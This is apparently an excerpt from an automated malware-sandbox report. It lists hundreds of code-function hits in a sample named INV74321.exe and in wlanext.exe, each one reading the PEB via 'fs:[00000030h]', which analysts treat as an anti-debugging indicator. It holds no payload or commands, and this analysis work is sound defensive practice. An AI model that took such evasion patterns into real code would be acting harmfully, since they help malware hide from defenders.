Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE1B8F mov eax, dword ptr fs:[00000030h]		1_2_00AE1B8F
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE1B8F mov eax, dword ptr fs:[00000030h]		1_2_00AE1B8F
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02397 mov eax, dword ptr fs:[00000030h]		1_2_00B02397
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9138A mov eax, dword ptr fs:[00000030h]		1_2_00B9138A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B8D380 mov ecx, dword ptr fs:[00000030h]		1_2_00B8D380
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFDBE9 mov eax, dword ptr fs:[00000030h]		1_2_00AFDBE9
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B003E2 mov eax, dword ptr fs:[00000030h]		1_2_00B003E2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B003E2 mov eax, dword ptr fs:[00000030h]		1_2_00B003E2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B003E2 mov eax, dword ptr fs:[00000030h]		1_2_00B003E2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B003E2 mov eax, dword ptr fs:[00000030h]		1_2_00B003E2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B003E2 mov eax, dword ptr fs:[00000030h]		1_2_00B003E2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B003E2 mov eax, dword ptr fs:[00000030h]		1_2_00B003E2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B553CA mov eax, dword ptr fs:[00000030h]		1_2_00B553CA
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B553CA mov eax, dword ptr fs:[00000030h]		1_2_00B553CA
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9131B mov eax, dword ptr fs:[00000030h]		1_2_00B9131B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B03B7A mov eax, dword ptr fs:[00000030h]		1_2_00B03B7A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B03B7A mov eax, dword ptr fs:[00000030h]		1_2_00B03B7A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADDB60 mov ecx, dword ptr fs:[00000030h]		1_2_00ADDB60
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA8B58 mov eax, dword ptr fs:[00000030h]		1_2_00BA8B58
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADDB40 mov eax, dword ptr fs:[00000030h]		1_2_00ADDB40
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADF358 mov eax, dword ptr fs:[00000030h]		1_2_00ADF358
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE849B mov eax, dword ptr fs:[00000030h]		1_2_00AE849B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B914FB mov eax, dword ptr fs:[00000030h]		1_2_00B914FB
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56CF0 mov eax, dword ptr fs:[00000030h]		1_2_00B56CF0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56CF0 mov eax, dword ptr fs:[00000030h]		1_2_00B56CF0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56CF0 mov eax, dword ptr fs:[00000030h]		1_2_00B56CF0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA8CD6 mov eax, dword ptr fs:[00000030h]		1_2_00BA8CD6
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0BC2C mov eax, dword ptr fs:[00000030h]		1_2_00B0BC2C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA740D mov eax, dword ptr fs:[00000030h]		1_2_00BA740D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA740D mov eax, dword ptr fs:[00000030h]		1_2_00BA740D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA740D mov eax, dword ptr fs:[00000030h]		1_2_00BA740D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91C06 mov eax, dword ptr fs:[00000030h]		1_2_00B91C06
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56C0A mov eax, dword ptr fs:[00000030h]		1_2_00B56C0A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56C0A mov eax, dword ptr fs:[00000030h]		1_2_00B56C0A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56C0A mov eax, dword ptr fs:[00000030h]		1_2_00B56C0A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56C0A mov eax, dword ptr fs:[00000030h]		1_2_00B56C0A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF746D mov eax, dword ptr fs:[00000030h]		1_2_00AF746D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6C450 mov eax, dword ptr fs:[00000030h]		1_2_00B6C450
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6C450 mov eax, dword ptr fs:[00000030h]		1_2_00B6C450
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0A44B mov eax, dword ptr fs:[00000030h]		1_2_00B0A44B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B01DB5 mov eax, dword ptr fs:[00000030h]		1_2_00B01DB5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B01DB5 mov eax, dword ptr fs:[00000030h]		1_2_00B01DB5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B01DB5 mov eax, dword ptr fs:[00000030h]		1_2_00B01DB5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B035A1 mov eax, dword ptr fs:[00000030h]		1_2_00B035A1
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA05AC mov eax, dword ptr fs:[00000030h]		1_2_00BA05AC
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA05AC mov eax, dword ptr fs:[00000030h]		1_2_00BA05AC
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		1_2_00AD2D8A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		1_2_00AD2D8A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		1_2_00AD2D8A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		1_2_00AD2D8A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		1_2_00AD2D8A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0FD9B mov eax, dword ptr fs:[00000030h]		1_2_00B0FD9B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0FD9B mov eax, dword ptr fs:[00000030h]		1_2_00B0FD9B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02581 mov eax, dword ptr fs:[00000030h]		1_2_00B02581
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02581 mov eax, dword ptr fs:[00000030h]		1_2_00B02581
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02581 mov eax, dword ptr fs:[00000030h]		1_2_00B02581
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02581 mov eax, dword ptr fs:[00000030h]		1_2_00B02581
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B88DF1 mov eax, dword ptr fs:[00000030h]		1_2_00B88DF1
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AED5E0 mov eax, dword ptr fs:[00000030h]		1_2_00AED5E0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AED5E0 mov eax, dword ptr fs:[00000030h]		1_2_00AED5E0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9FDE2 mov eax, dword ptr fs:[00000030h]		1_2_00B9FDE2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9FDE2 mov eax, dword ptr fs:[00000030h]		1_2_00B9FDE2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9FDE2 mov eax, dword ptr fs:[00000030h]		1_2_00B9FDE2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9FDE2 mov eax, dword ptr fs:[00000030h]		1_2_00B9FDE2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		1_2_00B56DC9
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		1_2_00B56DC9
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		1_2_00B56DC9
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56DC9 mov ecx, dword ptr fs:[00000030h]		1_2_00B56DC9
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		1_2_00B56DC9
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		1_2_00B56DC9
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9E539 mov eax, dword ptr fs:[00000030h]		1_2_00B9E539
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B5A537 mov eax, dword ptr fs:[00000030h]		1_2_00B5A537
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B04D3B mov eax, dword ptr fs:[00000030h]		1_2_00B04D3B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B04D3B mov eax, dword ptr fs:[00000030h]		1_2_00B04D3B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B04D3B mov eax, dword ptr fs:[00000030h]		1_2_00B04D3B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA8D34 mov eax, dword ptr fs:[00000030h]		1_2_00BA8D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE3D34
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADAD30 mov eax, dword ptr fs:[00000030h]		1_2_00ADAD30
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFC577 mov eax, dword ptr fs:[00000030h]		1_2_00AFC577
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFC577 mov eax, dword ptr fs:[00000030h]		1_2_00AFC577
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B13D43 mov eax, dword ptr fs:[00000030h]		1_2_00B13D43
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B53540 mov eax, dword ptr fs:[00000030h]		1_2_00B53540
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF7D50 mov eax, dword ptr fs:[00000030h]		1_2_00AF7D50
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B546A7 mov eax, dword ptr fs:[00000030h]		1_2_00B546A7
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA0EA5 mov eax, dword ptr fs:[00000030h]		1_2_00BA0EA5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA0EA5 mov eax, dword ptr fs:[00000030h]		1_2_00BA0EA5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA0EA5 mov eax, dword ptr fs:[00000030h]		1_2_00BA0EA5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6FE87 mov eax, dword ptr fs:[00000030h]		1_2_00B6FE87
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE76E2 mov eax, dword ptr fs:[00000030h]		1_2_00AE76E2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B016E0 mov ecx, dword ptr fs:[00000030h]		1_2_00B016E0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA8ED6 mov eax, dword ptr fs:[00000030h]		1_2_00BA8ED6
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B18EC7 mov eax, dword ptr fs:[00000030h]		1_2_00B18EC7
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B8FEC0 mov eax, dword ptr fs:[00000030h]		1_2_00B8FEC0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B036CC mov eax, dword ptr fs:[00000030h]		1_2_00B036CC
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B8FE3F mov eax, dword ptr fs:[00000030h]		1_2_00B8FE3F
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADE620 mov eax, dword ptr fs:[00000030h]		1_2_00ADE620
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0A61C mov eax, dword ptr fs:[00000030h]		1_2_00B0A61C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0A61C mov eax, dword ptr fs:[00000030h]		1_2_00B0A61C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADC600 mov eax, dword ptr fs:[00000030h]		1_2_00ADC600
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADC600 mov eax, dword ptr fs:[00000030h]		1_2_00ADC600
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADC600 mov eax, dword ptr fs:[00000030h]		1_2_00ADC600
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B08E00 mov eax, dword ptr fs:[00000030h]		1_2_00B08E00
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91608 mov eax, dword ptr fs:[00000030h]		1_2_00B91608
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE766D mov eax, dword ptr fs:[00000030h]		1_2_00AE766D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		1_2_00AFAE73
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		1_2_00AFAE73
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		1_2_00AFAE73
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		1_2_00AFAE73
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		1_2_00AFAE73
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		1_2_00AE7E41
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		1_2_00AE7E41
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		1_2_00AE7E41
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		1_2_00AE7E41
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		1_2_00AE7E41
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		1_2_00AE7E41
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9AE44 mov eax, dword ptr fs:[00000030h]		1_2_00B9AE44
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9AE44 mov eax, dword ptr fs:[00000030h]		1_2_00B9AE44
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B57794 mov eax, dword ptr fs:[00000030h]		1_2_00B57794
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B57794 mov eax, dword ptr fs:[00000030h]		1_2_00B57794
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B57794 mov eax, dword ptr fs:[00000030h]		1_2_00B57794
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE8794 mov eax, dword ptr fs:[00000030h]		1_2_00AE8794
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B137F5 mov eax, dword ptr fs:[00000030h]		1_2_00B137F5
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0E730 mov eax, dword ptr fs:[00000030h]		1_2_00B0E730
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD4F2E mov eax, dword ptr fs:[00000030h]		1_2_00AD4F2E
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD4F2E mov eax, dword ptr fs:[00000030h]		1_2_00AD4F2E
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6FF10 mov eax, dword ptr fs:[00000030h]		1_2_00B6FF10
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B6FF10 mov eax, dword ptr fs:[00000030h]		1_2_00B6FF10
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA070D mov eax, dword ptr fs:[00000030h]		1_2_00BA070D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA070D mov eax, dword ptr fs:[00000030h]		1_2_00BA070D
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AFF716 mov eax, dword ptr fs:[00000030h]		1_2_00AFF716
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0A70E mov eax, dword ptr fs:[00000030h]		1_2_00B0A70E
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0A70E mov eax, dword ptr fs:[00000030h]		1_2_00B0A70E
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEFF60 mov eax, dword ptr fs:[00000030h]		1_2_00AEFF60
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA8F6A mov eax, dword ptr fs:[00000030h]		1_2_00BA8F6A
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEEF40 mov eax, dword ptr fs:[00000030h]		1_2_00AEEF40
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380138A mov eax, dword ptr fs:[00000030h]		8_2_0380138A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03773B7A mov eax, dword ptr fs:[00000030h]		8_2_03773B7A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03773B7A mov eax, dword ptr fs:[00000030h]		8_2_03773B7A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374DB60 mov ecx, dword ptr fs:[00000030h]		8_2_0374DB60
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03815BA5 mov eax, dword ptr fs:[00000030h]		8_2_03815BA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374F358 mov eax, dword ptr fs:[00000030h]		8_2_0374F358
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374DB40 mov eax, dword ptr fs:[00000030h]		8_2_0374DB40
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037703E2 mov eax, dword ptr fs:[00000030h]		8_2_037703E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037703E2 mov eax, dword ptr fs:[00000030h]		8_2_037703E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037703E2 mov eax, dword ptr fs:[00000030h]		8_2_037703E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037703E2 mov eax, dword ptr fs:[00000030h]		8_2_037703E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037703E2 mov eax, dword ptr fs:[00000030h]		8_2_037703E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037703E2 mov eax, dword ptr fs:[00000030h]		8_2_037703E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380131B mov eax, dword ptr fs:[00000030h]		8_2_0380131B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376DBE9 mov eax, dword ptr fs:[00000030h]		8_2_0376DBE9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C53CA mov eax, dword ptr fs:[00000030h]		8_2_037C53CA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C53CA mov eax, dword ptr fs:[00000030h]		8_2_037C53CA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03818B58 mov eax, dword ptr fs:[00000030h]		8_2_03818B58
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03774BAD mov eax, dword ptr fs:[00000030h]		8_2_03774BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03774BAD mov eax, dword ptr fs:[00000030h]		8_2_03774BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03774BAD mov eax, dword ptr fs:[00000030h]		8_2_03774BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772397 mov eax, dword ptr fs:[00000030h]		8_2_03772397
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377B390 mov eax, dword ptr fs:[00000030h]		8_2_0377B390
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03751B8F mov eax, dword ptr fs:[00000030h]		8_2_03751B8F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03751B8F mov eax, dword ptr fs:[00000030h]		8_2_03751B8F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037FD380 mov ecx, dword ptr fs:[00000030h]		8_2_037FD380
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0378927A mov eax, dword ptr fs:[00000030h]		8_2_0378927A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037FB260 mov eax, dword ptr fs:[00000030h]		8_2_037FB260
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037FB260 mov eax, dword ptr fs:[00000030h]		8_2_037FB260
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037D4257 mov eax, dword ptr fs:[00000030h]		8_2_037D4257
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03749240 mov eax, dword ptr fs:[00000030h]		8_2_03749240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03749240 mov eax, dword ptr fs:[00000030h]		8_2_03749240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03749240 mov eax, dword ptr fs:[00000030h]		8_2_03749240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03749240 mov eax, dword ptr fs:[00000030h]		8_2_03749240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03784A2C mov eax, dword ptr fs:[00000030h]		8_2_03784A2C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03784A2C mov eax, dword ptr fs:[00000030h]		8_2_03784A2C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374AA16 mov eax, dword ptr fs:[00000030h]		8_2_0374AA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374AA16 mov eax, dword ptr fs:[00000030h]		8_2_0374AA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03745210 mov eax, dword ptr fs:[00000030h]		8_2_03745210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03745210 mov ecx, dword ptr fs:[00000030h]		8_2_03745210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03745210 mov eax, dword ptr fs:[00000030h]		8_2_03745210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03745210 mov eax, dword ptr fs:[00000030h]		8_2_03745210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03763A1C mov eax, dword ptr fs:[00000030h]		8_2_03763A1C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03758A0A mov eax, dword ptr fs:[00000030h]		8_2_03758A0A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772AE4 mov eax, dword ptr fs:[00000030h]		8_2_03772AE4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380AA16 mov eax, dword ptr fs:[00000030h]		8_2_0380AA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380AA16 mov eax, dword ptr fs:[00000030h]		8_2_0380AA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772ACB mov eax, dword ptr fs:[00000030h]		8_2_03772ACB
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375AAB0 mov eax, dword ptr fs:[00000030h]		8_2_0375AAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375AAB0 mov eax, dword ptr fs:[00000030h]		8_2_0375AAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377FAB0 mov eax, dword ptr fs:[00000030h]		8_2_0377FAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037452A5 mov eax, dword ptr fs:[00000030h]		8_2_037452A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037452A5 mov eax, dword ptr fs:[00000030h]		8_2_037452A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037452A5 mov eax, dword ptr fs:[00000030h]		8_2_037452A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037452A5 mov eax, dword ptr fs:[00000030h]		8_2_037452A5
